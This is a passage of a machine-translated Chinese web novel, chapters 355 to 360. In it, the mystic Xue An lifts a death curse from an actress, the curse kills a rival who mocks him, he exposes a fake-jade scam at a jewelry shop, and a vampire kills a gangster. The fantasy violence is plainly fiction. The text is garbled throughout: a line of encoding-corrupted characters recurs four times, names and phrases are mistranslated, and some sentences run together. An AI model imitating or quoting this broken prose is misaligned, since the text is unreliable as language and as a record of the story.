    Gong Xiaoqing woke up from his consternation, and nodded repeatedly, "Yes! It was probably since last night. I can''t sleep all the time. Even if I fall asleep, I always have terrible nightmares, sir, what can you do? Am I cracking it?"


    Gong Xiaoqing''s face is full of expectation.


    Xue An smiled slightly, "The cracking is very simple, I can do it now, but this thing in you is very strange I am a little curious, have you offended anyone?"


    When Gong Xiaoqing was about to speak, Zhang Dong couldn''t help but sneered: "It turns out to be a guy who pretends to be a ghost! Xiaoqing, you have to be careful not to be deceived. It''s okay to say that you cheated money. Ha ha����."


    Zhang Dong��s words are very vicious.


    Gong Xiaoqing couldn''t bear it, and said angrily: "This is Master Song''s nephew, and what does my business have to do with you? If you talk nonsense, I can call a security guard!"


    Zhang Dong sneered and said: "You scream, then I will have to see who was bombed out!"


    Zhang Dong was a little bit upset about what Xue An had just quit, so he kept staring at Xue An.


    In his opinion, this Xue An is definitely a liar.


    None of those masters are in their 40s or 50s, and they are all immortal winds.


    This man is ordinary at first sight, what can he do?


    At this time, their dispute also attracted the attention of many people.


    Song Yi and several elders from a family are talking.


    couldn''t help but watch them all after hearing the noise here.


    After seeing Xue An, Song Yi was slightly startled, a smile appeared on his face.


    It seems that someone is going to be unlucky again.


    The parents who accompanied him couldn''t help asking: "Master Song, this little brother is here with you, do you want to say something?"


    Song Yi shook his head, "No need! He can solve it by himself."

 Chapter 355： Evil spirits descend

    Gong Xiaoqing still wants to say something.


    Xue An waved his hand, and then looked at Zhang Dong with interest.


    "You mean, I am a liar?"


    "Ha ha! That''s right!" Zhang Dong''s expression became more and more arrogant.


    Because he found that Song Yi and others were all watching from a distance, and did not come over.


    From this point of view, this man is not an important person either.


    Xue An nodded, "Then you dare to make a bet with me?"


    "Bet? What bet?" Zhang Dong said coldly.


    "There is something strange about this lady Gong, if I pull it out, then you will kneel down and give me a hundred beeps, how about it?" Xue An said lightly.


    Zhang Dong hesitated a little, then gritted his teeth viciously, "Okay, but what if you can''t get it out?"


    "There are not so many ifs!" Xue An said lightly, and suddenly grabbed Gong Xiaoqing with his hand.


    A group of things exuding a strong smell appeared in Xue An''s hands, and the group of things rushed from left to right, very disgusting.


    The crowd onlookers exclaimed.


    But Gong Xiaoqing felt that the whole person was refreshed.


    Zhang Dong stepped back in fright, his complexion changed, "This...what is this? I see, have you become magical, right? Hehe, it must be like this, do you want to deceive people with a blind eye?"


    Xue An raised his eyebrows slightly, "What? I want to fall back on the bill?"


    Zhang Dong really wanted to deny the past.


    If you really kneel down and kowtow, then as soon as the major news reports tomorrow, your own stardom will be completely finished.


    Xue An just smiled, "Very well, since you did this, then this thing is for you!"


    said, Xue An waved his hand casually.


    This mass of things turned into streamers and went straight to Zhang Dong.


    Zhang Dong yelled in fright and wanted to avoid him, but he was helpless. This thing seemed to have eyes, chased it directly, and then got into Zhang Dong''s body.


    "You...what did you do for me?" Zhang Dong was shocked.


    Xue An leaned on the sofa, took a sip of red wine slowly, smiled and said, "You will know what it is soon! Good luck!"


    In another hotel, Dragon Crown Jade suddenly opened his eyes, and the room with only a small night light lit up like a lightning bolt.


    "What''s the matter? Someone seemed to have moved the evil spirit I had just dropped, but strangely, I can still feel it now!" A look of doubt appeared on Long Guanyu''s face.


    At the same time, someone opened the door and walked in.


    "Master Long, the people from Zhonghuai are here!"


    "Let them come in!" Long Guanyu lay back on the sofa and said lightly.


    soon.


    Wang Geng, dressed in casual clothes, walked in, followed by two men in fear.


    "Master Long!" Wang Geng said with a smile.


    Long Guanyu turned his head and glanced at him, then focused his gaze on the two men.


    "what happened?"


    "Master, that day we were casting spells in Zhonghuai with Big Brother, but we didn''t expect that Big Brother suddenly... suddenly his head exploded!"


    Mentioned this, the two men couldn''t help shivering.


    Long Guanyu''s face also showed a touch of shock, and then looked at Wang Geng.


    "General Wang, I hope your Wang family can explain this matter."


    Wang Geng was a little excited deep in his heart, but he still tried to stay calm, "Master Long, I can be sure that the one who killed your lover must be Xue An!"


    "Huh? Xue An?" Long Guanyu was slightly startled, and his expression became solemn.


    "That''s right, I was really angry at Xue An''s arrogance that day. It happened to be the day of Xue An''s wedding that day, so I asked Gao Tuo to help this Xue An with a small lesson."


    "But who would have thought that this Xue An was acting so domineering, it was just a storm for him, but he directly killed people!" Wang Geng said with a sad expression on his face.


    Dragon Crown Jade lay back on the sofa and said lightly: "I see, you guys go back!"


    "Master Long, you don''t plan to..."


    "General Wang, you don''t need you to teach me how to act. Xue An kills my apprentice. I naturally want to avenge this hatred, but not now!"


    "I know!" Wang Geng smiled, "You are also here for the thing at the auction!"


    Dragon Crown Jade is not surprising why Wang Geng knew about this.


    "Why don''t we talk about pen cooperation?" Wang Geng said.


    "What cooperation?"


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    "Our Wang family can help you get that thing, but the premise is that you will kill Xue An! At the same time become the guest of our Wang family."


    After Wang Geng said, looking at the dragon crown jade, he felt a little nervous.


    This dragon crown jade is said to be the first person in Nanyang to drop his head in thirty years.


    He usually sees the dragon but never sees the end. It was easy to see this time, and Wang Geng naturally didn''t want to miss it.


    Especially this lowered head can be used to unconsciously assassinate those who have enemies with the Wang family. If he is willing to join the Wang family, it will be perfect.


    After listening to the dragon crown jade, he naturally knew what abacus Wang Geng played.


    But after thinking about it, he nodded slightly, "Okay, but I have to wait until after the auction!"


    "No problem, I won''t leave Xiangjiang during this time, I look forward to the good news of Master Long!"


    Wang Geng retreated.


    A smile of disdain appeared at the corner of Long Guanyu''s mouth.


    Want to use me? Your royal family... is not enough!


    Zhang Dong got in the car bitterly, and kept mumbling in his heart.


    Everything is an illusion, it''s all magic made by that guy.


    This world is a scientific world, where there is so much mess.


    After comforting himself for a while, Zhang Dong felt that he was no longer so nervousBoss, where are you going? "The driver and assistant asked.


    Zhang Dong smiled, "Go to Golden Rose!"


    "Hey, boss, you can''t carry it all this night!" The driver smiled.


    "There is nothing that can''t be carried, if there is, it means that the girl is not hot enough!" Zhang Dong said with a smug face.


    After Golden Rose, as a star of his level, it is very simple to find a few girls who are greedy for vanity.


    Soon, he aimed at the target.


    After chatting for a few words and drinking a few more glasses of wine, they became acquainted with each other.


    At this moment, Zhang Dong felt urgency for a while, so he got up and said, "Excuse me, I''ll go to the bathroom!"


    When he came to the bathroom, he looked at the handsome self in the mirror with satisfaction after finishing his cleaning, and couldn''t help but smile.


    But at this moment, he suddenly realized that the surroundings were dead quiet.


    what happened?


    There was a power outage outside?


    Zhang Dong is thinking.


    Suddenly, he caught a glimpse of a girl in red squatting on the ground in the corner of the mirror.


    Although I can''t see my face, I can see the slim figure from behind.


    Zhang Dong moved in his heart.


    Could it be that you drank too much and went to the wrong toilet?


    Hmm, it must be so!


    Thinking like this, Zhang Dong couldn''t help but feel excited, and stepped forward and asked pretendingly: "Miss, what''s wrong with you?"

 Chapter 356： Barbaric death

    no respond.


    The girl in red seems to be asleep.


    Zhang Dong stretched out his hand and put it on the girl''s shoulder. Sniffing the faint fragrance, he smiled and said, "Miss, are you drunk? I''ll take you back!"


    said, pulling the girl''s shoulder outwards, trying to see what the girl looks like.


    Then I saw an extremely smooth face.


    Zhang Dong let out a deafening scream.


    Because this skin can be broken with a bomb, but it has no facial features.


    Just when Zhang Dong screamed.


    This face was abruptly divided, just like the slit girl in the movie, directly swallowing Zhang Dong''s head.


    Click.


    Zhang Dong''s head was shattered, and his body was planted on the ground.


    the next day.


    The news that the well-known boy Zhang Dong tragically died in the bar toilet caused a sensation throughout Xiangjiang.


    Gong Xiaoqing shuddered after hearing the news.


    If it weren''t for that man, he would be the one who died.


    After thinking for a long time, she suddenly got up.


    "Miss Gong, what are you going to do?"


    "Go and see Master Song!" Gong Xiaoqing said solemnly.


    But when he arrived at the hotel where Song Yi was staying, Gong Xiaoqing suddenly hesitated.


    I don��t even know the name of his family. Will it be impolite to go so hastily?


    just when she was lingering at the door.


    Xue An walked out of the hotel with An Yan and two daughters.


    Xue An is going to take them to go shopping.


    If you don��t go shopping in Xiangjiang, it��s the same as Bailai.


    But as soon as he left the house, he saw Gong Xiaoqing.


    Gong Xiaoqing also saw Xue An at this time, with a very surprised look on his face, and quickly stepped forward: "Sir!"


    Xue An smiled slightly, "What a coincidence?"


    Gong Xiaoqing noticed An Yan on the side.


    But because An Yan was also blindfolded by Xue An, she couldn''t see how beautiful she was. She just thought this woman had ordinary facial features, but her eyes were so beautiful!


    then nodded. "Yes, sir, this is..."


    "I have come to Xiangjiang with my family, do I have to go around!"


    "This is your family!"


    "Yes! These two are my daughters!" Xue An smiled.


    Gong Xiaoqing nodded in amazement. She really didn''t expect Xue An to have a family, but she reacted quickly and quickly laughed and said: "Mr. has an enviable family. By the way, I don��t know about you. The name!"


    Xue An smiled lightly: "My name is Xue."


    "Mr. Xue, thank you so much yesterday, I just read the newspaper, that Zhang Dong..."


    "Is it dead, right?" Xue An said lightly.


    Gong Xiaoqing nodded solemnly, "It turns out that Mr. Xue already knows!"


    "You don''t have to go to the news. He must not survive for three days, but he didn''t expect him to survive even one day."


    Xue An saw at a glance that Gong Xiaoqing''s fate was attached to something filthy, which is different from being surrounded by demons or cursed.


    This directly affects fate.


    But Gong Xiaoqing''s fate is not bad, so he can last a few days.


    After ���� was transferred to Zhang Dong, because Zhang Dong has been sleeping in the flowers and willows over the years, his vitality has been weak.


    So I was lowered to death that night.


    This can be regarded as his own fault.


    Gong Xiaoqing looked pale and nodded, "I really want to thank Mr. Xue for helping me!"


    "Hehe, it''s nothing but you, the person who lowered your head is good at it. There must be someone deliberately trying to fix you!"


    After that, Xue An took An Yan and others and left.


    Gong Xiaoqing stood there, with a change of expression on his face, then gritted his teeth and followed directly.


    She is scared now, and she always feels safe by Xue An.


    "Mr. Xue, why not let me be your guide, I am a native of Xiangjiang, I know where the best things are!" Gong Xiaoqing said.


    Xue An listened and glanced at An Yan.


    An Yan smiled and nodded, "If this is the case, please trouble Miss Gong!"


    Gong Xiaoqing was overjoyed, "No trouble, no trouble! All should be done!"


    Jinyuan Building.


    The most upscale shopping place in Hong Kong.


    Gong Xiaoqing led the way with sunglasses, and the Xue An family followed behind and strolled slowly.


    Gong Xiaoqing is obviously familiar with this place, and he knows every store.


    "Mr. Xue, this is the most high-end and most luxurious gold shop in Hong Kong. The founder is Zhou Xiaofu, including me, many entertainment stars will come here to buy jewelry!"


    Xue An nodded, and led An Yan in to take a look.


    At this time, there are not many people in the gold shop.


    And in front of a jade counter, there was a man and a woman,


    The girl is acting like a baby with the man''s arm slung.


    "Do I want this jade pendant!"


    and the man showed hesitation, "That''s more than ten million! Why is a jade pendant worth so much money? I''ll buy you a gold necklace!"


    "No, I want that piece of jade!" The girl said in a sweet voice.


    When Gong Xiaoqing walked into the gold shop, the girl who was acting like a baby was suddenly stunned.


    Gong Xiaoqing also recognized the girl, her face sank, "Si Jin!"


    Gong Xiaoqing and Si Jin are both affiliated with a performing arts company.


    The two were in the same class, and they had a good relationship at the beginning, but afterwards, Gong Xiaoqing''s reputation became more and more popular, and this Si Jin began to look for trouble all day long.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    The relationship between the two has become increasingly alienated and hostile.


    But Gong Xiaoqing didn''t expect This icy and clean **** the screen would act like a baby with this man who could be her father for a piece of jade.


    But Si Jin''s heart at this moment flashed a panic of guilty conscience.


    She only bought the Dragon Crown Jade yesterday to kill Gong Xiaoqing, but she did not expect to meet her on the street today.


    You can see that this radiant face does not look like he is dying.


    But Si Jin immediately saw Xue An on the side, and he moved in his heart and sneered.


    "Yeah, isn''t this Gong Daxing star, why? I''m just idle, go shopping with a man?"


    There is a strong connotation in these words.


    Gong Xiaoqing''s face sank and said coldly: "Stop talking about nonsense, this is my savior, Mr. Xue, I''m here to guide their family, but this gentleman, if I am not mistaken, you It''s Mr. Li Hou Li!"


    Li Hou smiled and took over Si Jin proudly, "That''s right! Miss Gong, when I pursued you, you refused to agree to anything, so I had to find your junior sister!"


    Si Jin turned pale when he heard this, and the eyes of Gong Xiaoqing were full of hatred.


    Why is this woman the best in everything? Even a man couldn''t catch up with her before he turned to me?


    Gong Xiaoqing looked at her coldly, and she also had some doubts in her heart.


    Could it be that Si Jin gave me the lowered head?


    At this moment, Li Hou seemed to be deliberate, and the waiter in the counter was very bold and said: "The jade pendant just now, I want it! Pack it!"

 Chapter 357： 1 farce

    Si Jin was overjoyed, looked at Gong Xiaoqing and Xue An like a demonstration, and then sneered: "Miss Gong, I''m really sorry, Mr. Li treats me better than you are, you should go shopping slowly with this guy! Hehe!"


    Si Jin triumphed.


    After the waiter took out the jade pendant, she reluctantly played it in her hand, and then flaunted it in front of Gong Xiaoqing and Xue An.


    "I see it, this is the best jade worth more than ten million yuan, I guess you can''t afford such expensive things in your life!"


    This is very ugly.


    Gong Xiaoqing''s face was extremely ugly, and she wanted to talk.


    Xue An laughed, and then gently shook his head and said, "It''s so pitiful, I was slaughtered as a pig, but I actually showed it off!"


    This sentence made the gold shop quiet.


    Then Si Jincai sneered like a shrew, "What do you mean by this? Who is a pig?"


    Xue An smiled faintly, "Sorry, I didn''t mean to target the two. I just talked about the matter. A piece of jade pendant of no more than one million, but sold for a high price of ten million, should not be considered a pig."


    Xue settled for a while, "Because pigs are smarter than you!"


    This sentence is like a shock.


    Si Jin was startled first, then exclaimed, "You said this jade pendant is fake?"


    Li Hou''s expression also sank.


    But the biggest response was the gold shop.


    The tall waitress standing behind the counter glanced at Xue An arrogantly, and then said in an arrogant tone: "Chinese, this is Xiangjiang, it��s not a place for you to talk nonsense, otherwise, we I can sue you for libel!"


    "Yes! Nonsense, accuse him of slander." Si Jin was more excited than anyone else.


    Xue An looked at Si Jin who was like a shrew, a long smile appeared at the corner of his mouth, and then said to the waitress: "It is true or false, you should know better than me! Do you need me to elaborate? "


    The waitress''s complexion suddenly became extremely ugly, and she picked up the phone on the table and dialed a number.


    "Manager, someone is making trouble!"


    Then hung up the phone and looked at Xue An contemptuously.


    "Our manager will be here soon. I hope you can make everything clear at that time, otherwise I will see you in court!"


    Xue An looked indifferent, "Okay! I just want to meet your manager!"


    With that said, Xue An sat on the sofa in the store and waited in his spare time.


    Li Hou''s complexion was gloomy, while Si Jin''s complexion was gloomy, and he didn''t know what he was thinking.


    Soon, there was a mess of footsteps outside, and then a middle-aged man with a greasy face came in, followed by a few shirtless men.


    As soon as he entered the gold shop, the middle-aged man said angrily.


    "Who dares to make trouble in my gold shop?"


    The waiter hurried forward and pointed at Xue An who was sitting on the sofa.


    "Manager, that''s him! He keeps saying that the jade pendants in our shop are fake!"


    When the manager heard this this week, he looked at Xue An with a sullen expression.


    "Boy, you said our jade pendant is fake, is there any evidence?"


    Xue An looked up at him.


    This arrogant Manager Zhou felt shocked.


    The look in this man''s eyes... so scary!


    "Evidence?" Xue An said lightly, before asking, "I want to ask you, does this store belong to Zhou Xiaofu?"


    "Of course! I am Zhou Hao, the son of the Zhou family!" Zhou Hao said complacently.


    Xue An nodded, "Very well, then I ask you, who is Kou Xiaoyan?"


    This week, Hao and the waiter at Jindian were all stunned.


    "Do you... know Director Kou?" Zhou Hao''s tone suddenly softened.


    Xue An leaned on the sofa, crossing his fingers, with a playful tone, "I don''t even know him."


    Zhou Hao let out a sigh of relief.


    Even though he is also a child of the Zhou family, he is actually just a distant branch of the collateral line, which is of no importance at all.


    Kou Xiaoyan is the most popular female designer and director in the Zhou Xiaofu Group.


    When he saw it, he had to call the director respectfully.


    "But... She just took someone to my house a few days ago and made a full set of jewelry for my wife. It''s a nodding acquaintance!" Xue An said lightly.


    This sentence made Zhou Hao and others startled for a moment, looked at each other, and then all smiled contemptuously.


    "Boy, I thought you were really a big man just now! Now I finally understand that you turned out to be a bragging and not drafting guy!" Zhou Hao said with a sneer.


    "Yes! Unless it is a very distinguished guest, our Director Kou rarely visits. As for you...hehe!" The arrogant waitress laughed mockingly.


    The words are saying that Xue An is not qualified at all.


    Xue An said calmly: "Don''t believe it? Well, you can call her over now!"


    "Who do you think you are? Let Director Kou come over? Also, you first said that our jade pendant is fake, don''t think about changing the subject!" Zhou Hao said with an unkind expression.


    Si Jin and Li Hou watched the excitement at the moment, and after hearing these words, Si Jin smiled even more sarcastically.


    "Manager Zhou is right. Don''t change the subject."


    Xue An raised his eyebrows and nodded, "Well, since you don''t fight, then I will let you know!"


    With that, Xue An took out his mobile phone.


    Zhou Hao sneered: "Okay, I want to see who you can call over today!"


    Xue An ignored his clamor and directly dialed Song Yi''s phone.


    "Call Kou Xiaoyan..." Xue An looked up at the store.


    "What''s the name of this shop?"


    Before Zhou Hao could speak, Si Jin said coldly: "Jin Yuan Building Zhou Xiaofu Seventh Store!"


    Xue An smiled faintly, "Have you heard, let her come here, yes, tell her, I only give her 15 minutes!"


    After all, Xue An hung up the phone, "Now, as long as we wait for fifteen minutes, we will know how things are true and false!"


    Xue An''s indifferent attitude made Zhou Hao doubt for a while, could he really contact Director Kou?


    Thinking of the bad things he had done with the headquarters behind his back, his heart felt a little nervous.


    But luck still prevailed.


    This man looked unremarkable. How could Director Kou come to visit him as he said?


    Thinking of this, Zhou Hao felt relieved again. He simply moved a chair and sat opposite Xue An, staring at him, as if he was afraid he would run away.


    Gong Xiaoqing was somewhat at a loss.


    She is just a small artist, this kind of thing involving the Zhou family of Xiangjiang Jewelry''s first family, she is also helpless.


    Only Si Jin had been staring at Gong Xiaoqing, his eyes seemed to be eating people in the next second.


    five minutes. No one came.


    For ten minutes, no one came.


    Wait for fifteen minutes soon.


    Zhou Hao stood up impatiently, "Okay, the farce is over, do you take the initiative to compensate for the reputation loss and lost work loss of my store, or let me give it a beat and then give it?"

 Chapter 358： Slaughter pig

    Xue An smiled faintly, "It seems that I''m taking it for granted.


    Zhou Hao sneered, "Don''t blame me, this is your own death! If you don''t give money, no one in your family wants to leave!"


    Xue An''s eyes were getting cold, and he was tired of it.


    gave Kou Xiaoyan fifteen minutes, just because their professionalism and dedication at the time made Xue An feel good, and couldn''t bear to directly hit the shop.


    But since she can''t make it now, don''t blame yourself for being rude.


    "Very good, it seems that this is not the first time you have done this. Today, I will teach you a lesson!" As he said, Xue An''s momentum continued to rise.


    At this moment, I heard someone rushing, panting and shouting as they ran, "Sir, be merciful! Sir, be merciful!"


    Following the voice, a group of people rushed over.


    Zhou Hao didn''t take it seriously, but when he saw the person, he was immediately dumbfounded.


    Because it is actually Kou Xiaoyan.


    And not only her, but also an elderly man followed.


    "Week... Master Tuesday?" Zhou Hao said dumbfounded, feeling cold sweat all over his body.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    This tuesday master was the Master Zhou who had gone to Beijiang with Kou Xiaoyan. He was also sweating profusely at the moment, apparently rushing all the way.


    After hearing Zhou Hao''s shout, the master Zhou rushed into the crown. He couldn''t help but slapped two mouths.


    Zhou Hao was beaten, but he didn''t even dare to move, only dared to stand respectfully.


    After the fight, the Master Zhou turned to look at Xue An, and then was just as stunned as Kou Xiaoyan.


    Kou Xiaoyan was also full of horror at this moment.


    She was planning a new store in the harbor, but suddenly she received a call from Song Yi.


    After ���� waited for the connection, Song Yi told her solemnly that Xue An asked her to rush to Jinyuan Building No. 7 shop within 15 minutes.


    Kou Xiaoyan was stunned, her head blank.


    Especially Song Yi''s last sentence, if you can''t make it within fifteen minutes, then don''t blame Mr. You for being polite.


    After Kou Xiaoyan reacted, she was trembling with fright, and immediately rushed to Jinyuan Building.


    At the same time, she called the headquarters and asked Master Zhou to follow along.


    Kou Xiaoyan is very smart. Although she is now in the Zhou family, she is also an outsider anyway.


    Only a person like Master Zhou, who is highly respected and respected in his own clan, can conquer people.


    And after Master Zhou heard Kou Xiaoyan''s recount, he immediately noticed the seriousness of the situation, and immediately drove to Jinyuan Building.


    waited until the door. After the two reunited, they ran all the way to this point.


    I didn''t expect that when I entered the door, I found it was a strange man, not the Mr. Xue I had in my mind at all.


    But this man''s behavior, especially his eyes and momentum, are so similar to Mr. Xue.


    Who is this?


    The two are wondering.


    Xue An''s voice sounded directly in their minds.


    "This is Xue An, but don''t say anything!"


    Kou Xiaoyan and Master Zhou looked at each other, and both saw the horror in each other''s eyes.


    what is this?


    Is the sound transmission in martial arts novels secret?


    But since it was determined that it was Mr. Xue, and at the same time they asked themselves not to say anything, the two understood.


    "Sir! What is your order for calling me here?" Kou Xiaoyan asked respectfully.


    Her attitude has already made all the people in Jindian tremble.


    Especially the waitress with arrogant expression, she was shaking all over with fright at the moment.


    Xue An smiled and pointed to Zhou Hao, whose face was ashamed, "Your shop, in collaboration with outsiders, sets up a set of killing pigs, and sells jade pendants worth less than one million at high prices. Do you know about this?"


    As soon as he said this, Si Jin''s face suddenly looked earthy.


    And Li Hou is not a fool, he immediately understood what was going on, his eyes widened.


    Kou Xiaoyan trembled all over, shook her head and said: "Sir, I really don''t know about this, but if the husband said so, it means that this thing must be true!"


    Xue An shook his head, "I won''t overpower others, you can take a look!"


    While speaking, Xue An pointed to the jade pendant in Si Jin''s hand.


    Master Zhou''s face was green, and he stepped forward and grabbed the jade pendant. After looking at it for a moment, he was shaking with anger and turned around and threw it out.


    The hard jade pendant was hitting Zhou Hao''s forehead.


    Click.


    The jade pendant is broken.


    Zhou Hao''s forehead immediately shed blood.


    Even so, Zhou Hao still dare not move.


    "My family is unfortunate, my family is unfortunate!" Master Zhou was trembling with anger.


    "Think of my Zhou family. Since the establishment of this week of Xiaofu, we have always been diligent and earnest to win the respect of customers with quality. It is not good for you to start this kind of crooked gangway! I have to strangle you today! "


    Master Zhou is like an angry lion, pounced on it to kill Zhou Hao.


    Zhou Hao was so frightened that he threw himself on his knees and knelt his head, "Second Yeh forgive me, Erye forgive me, it is all my fascination, I will never dare again!"


    "Next time? Do you think you can have another next time? If it weren''t for your husband''s somewhat thin face of the old man and Xiaoyan, do you think you can still talk to me alive now?" Master Zhou was trembling with anger. , Angrily said.


    Hearing these words, Zhou Hao finally understood that what Xue An just said was true.


    How noble is the identity of this man?


    Can Master Zhou, who see the rich and powerful, be so terrified?


    Zhou Hao felt regretful, and suddenly pointed to Si Jin.


    "Sir, Director Kou, Second Master, this woman was instigated by this woman! She insisted on doing this, and she said that after it was done, she would have more than half of the share!"


    Zhou Hao��s accusation made Si Jin pale stammered: "I...I...I don''t!"


    Li Hou also understood at this time that he was the slaughtered pig!


    Angrily attacked his heart, he slapped Si Jin to the ground with a slap, and then said angrily: "Bitch, I paid for the money you made Gong Xiaoqing yesterday, so you actually made this kind of trick to deal with me! An unfamiliar wolf!"


    After that, Li Hou also suddenly understood and quickly covered his mouth.


    But people have already heard it.


    Gong Xiaoqing stood up full of anger and pointed at Si Jin, "Okay, so cruel! It actually made people drop their heads and hurt me! What did I do to sorry you and make you hate me so much? "


    Si Jin was limp on the ground, trembling all over, unable to even speak.


    At this moment, Xue An slowly stood up, yawned boredly, and said to An Yan and his two daughters: "Okay, let''s go!"


    said and walked out.


    Gong Xiaoqing yelled anxiously: "Sir, this person..."


    "She hurt you, so how you want to get revenge is also your business." Xue An said lightly.


    Master Zhou and Kou Xiaoyan gave a wink, and hurried forward, apologizing again and again.


    "Sir, our Zhou family oversighted this incident, and thanks to your phone call, otherwise I don��t know how long this kid will be deceived!"


    Xue An just smiled when he heard this. He just took it easy. Zhou Hao is not worthy of him to deal with.

 Chapter 359： Kinship Khunti

    After Xue An took the family away.


    Gong Xiaoqing made a call, and soon someone took away Si Jin, who was limp.


    Li Hou glared at Zhou Hao bitterly, smiled gloomily, turned and left.


    After the Zhou family were left in the shop, Master Zhou shouted with a deep face, "Close!"


    The waiters hurriedly closed the shop tremblingly.


    Then Master Zhou sat on the chair and stared at Zhou Hao who was kneeling on the ground.


    "Do you know what punishment should you receive for colluding with outsiders to corrupt your style?"


    Zhou Hao trembled when he heard the words, his face showed despair, "Second Lord!"


    "Don''t call me grandpa, I don''t have the Zhou family who almost killed you like you." Master Zhou was full of anger.


    Forever!


    This word scared Zhou Hao. He said with a gray face: "Then...who is that man?"


    "Who is it?" A trace of horror appeared on Master Zhou''s face.


    "He is Song Yi''s backstage, that peerless murderous existence."


    Hearing these words, Zhou Hao''s eyes languidly fell to the ground, and a scent of urine came, and he was actually scared to urinate.


    Master Zhou snorted coldly when he saw this, "I now know I''m afraid? It''s a pity, it''s too late! Drive him out of Zhou''s house!"


    "Yes!"


    When Xue An returned to the hotel, he heard the news before it was night.


    The star of the entertainment industry, Si Jin, suddenly announced his withdrawal forever.


    The official explanation is due to physical reasons.


    But only a few people like Xue An understand why.


    This Gong Xiaoqing has some leeway in doing things, and has not rushed to kill him. Xue An thought to himself.


    And in that luxurious hotel room.


    Looking at the news in the newspaper, Long Guanyu couldn''t help frowning slightly.


    "Master Long, it looks like someone broke your lowered head!" Wang Geng said with a smile.


    The face of the dragon crown jade sinks like water, "This is not surprising, after all, I just dropped the easiest ghost drop at the time. It doesn''t matter if I can crack it. After the auction is over, I will look for this little palace to settle the account. it is good."


    Wang Geng smiled and said, "Listening to Master Long, the things at this auction seem to be very important!"


    Long Guanyu remained silent, then lay back on the sofa and closed his eyes to rest.


    Wang Geng ate a closed door, his complexion a little unsightly.


    Damn, a quack warlock, what is it bullish!


    If it weren''t for that guy Xue An, I wouldn''t come here to consume you.


    Wang Geng slandered to himself.


    And just as the auction is approaching.


    Quintina wore huge sunglasses and walked slowly out of the airport lobby.


    Although most of her cheeks are covered by sunglasses, from the slender legs and the delicate collarbone, we can still tell that this is an extremely beautiful Western woman.


    "Beautiful lady, where are you going?" The taxi driver greeted in English very attentively.


    "Please take me to the happiest bar near you! Thank you!"


    The driver was stunned, and then looked at Quintina''s profile with a pity.


    "Miss, I advise you to better not go to those bars alone. There are all Feibai parties and gangsters. You have gone..."


    Quintina directly handed over a twenty-dollar pound.


    The driver closed his mouth obediently, with a sigh in his heart.


    Such a beautiful girl went to such a place.


    Then he kicked the accelerator and the car sped away.


    In some hidden corners of Xiangjiang, there are some very chaotic bars.


    This kind of trash bar, fights and fights occur almost every day.


    The people who hang around here are basically all the people in the neighborhood, and the girls who don''t know their love the most.


    When Quintina walked into one of them.


    Many people were taken aback.


    Quintina walked to the bar and said coldly: "Whatever you want! Remember to add ice, thank you!"


    Soon, a glass of extremely difficult wine was handed over.


    Quintina frowned, but still drank slowly.


    At this moment, several gangsters winked at each other, and then walked over with a grin.


    "Little girl, isn''t it lonely to drink alone? Do you want a few brothers to accompany you?"


    The corner of Quintina''s mouth raised a nice arc, and then nodded, "Okay! Just a little lonely!"


    Hearing this, the group of little gangsters were overjoyed, and they approached even more brazenly.


    "Little girl, where did it come from?" A daring **** leaned in, with a wretched smile on his face, and his hands began to become dishonest.


    Quintina frowned unknownly, and then said with a sly smile, "Where do you think I came from?"


    "I see, you seem to come from my heart!" The **** felt that what he said was awesome, with a smug look on his face.


    Quintina smiled slightly, tapped her finger on the little bastard''s forehead, then stood up.


    "I''ll go to the bathroom first, are you coming?"


    This **** is going crazy.


    It seems that foreign girls can let go!


    Nodded hurriedly, "Okay! Okay! I just want to go to the bathroom too!"


    With that, she followed Quintina to the bathroom.


    The rest of those gangsters all looked envious waited until the bathroom.


    Quintina frowned, it''s too dirty here too!


    The floor is full of cigarette butts and syringes.


    But after the little **** smiled and closed the bathroom door,


    Quintina''s face became soothed.


    "Little girl, my brother will let you taste it today!" The little **** was about to pounce on it.


    At this moment, Quintina''s eyes gradually turned into a strange red, and two huge fangs protruded out of her mouth.


    The little **** was so scared that he was about to shout.


    Quintina rushed forward and bit his neck in one bite.


    The little bastard''s face suddenly changed from panic to extreme enjoyment, but the look in his eyes gradually dimmed as the blood was drawn away.


    After a while.


    The gangster''s body fell soft to the ground.


    Quintina frowned.


    The blood was bitter and had a fishy smell, very disgusting.


    Forget it, bear with it again.


    After finding the blood bead of Lord Duke, I don''t have to worry about blood food all day long.


    Thinking in her heart, the red in Quintina''s eyes faded, and the two long fangs were restored.


    If it weren''t for an extra corpse on the ground whose blood had been sucked out, it was really like a dream just now.


    And in ALFY''s home.


    Lu Xia was staring at A Fei practicing Gu technique with a serious face, and then shook her head helplessly.


    "Your Gu heart has been completely destroyed, unless you follow me back to the valley to rest, otherwise, you will not be able to recover to your previous level!"


    A Fei took a deep breath, and then smiled slyly: "Maybe I''m too stupid, and I think it''s fine now."


    Cultivation of Gu technique is too bitter to cultivate Gu heart.


    A Fei, who has been accustomed to Xiangjiang''s life as a drunkard, certainly does not want to go back.

 Chapter 360： Dark Treasure

    Lu Xia shook her head as she listened, "As a descendant of Miao Immortal, how can I do without a Gu Heart? Come back with me then!"


    A Fei''s face collapsed suddenly, and then he quickly changed the subject.


    "Master Gu, have you come to Xiangjiang to participate in the auction, are you equipped for money?"


    "Money? What money?" Lu Xia asked.


    A Fei''s eyes widened, "Of course it''s the money used to photograph things? Are you still going to grab it?"


    Lu Xia smiled, "Of course it''s not like that. The thing I valued this time is not measured by money, but by barter. As long as your thing is appreciated by the other party, then you can exchange it with you."


    "Master Gu, what have you prepared?" A Fei asked curiously.


    Lu Xia smiled, two worm eggs suddenly appeared in her hand.


    Although it looks about the size of an egg.


    But the aura contained in it shocked A Fei.


    "This... is this the egg of King Gu?" A Fei exclaimed.


    Lu Xia nodded and said proudly: "Yes, and it is the Gu King I personally cultivated!"


    A Fei was shocked.


    He knows the value of ����Gu King best.


    Every Gu King can be said to be an extremely precious treasure, not to mention the Gu King personally cultivated by the Gu Master Lu Xia.


    actually used such a treasure in exchange, so how shocking is that thing? A Fei thought curiously.


    The day of the auction has finally arrived.


    is different from ordinary auctions.


    This auction is not open to the public.


    All those who participated came through the invitation system.


    Security is extremely tight.


    Almost all the people who came were wearing masks and sunglasses, fully armed, as if they were afraid that others would see their true face.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    This also seems to be a little different for the lively Xue An.


    Many people looked at Xue An with surprised eyes, because this was a face that had never been seen before, and naturally attracted the curiosity of many people.


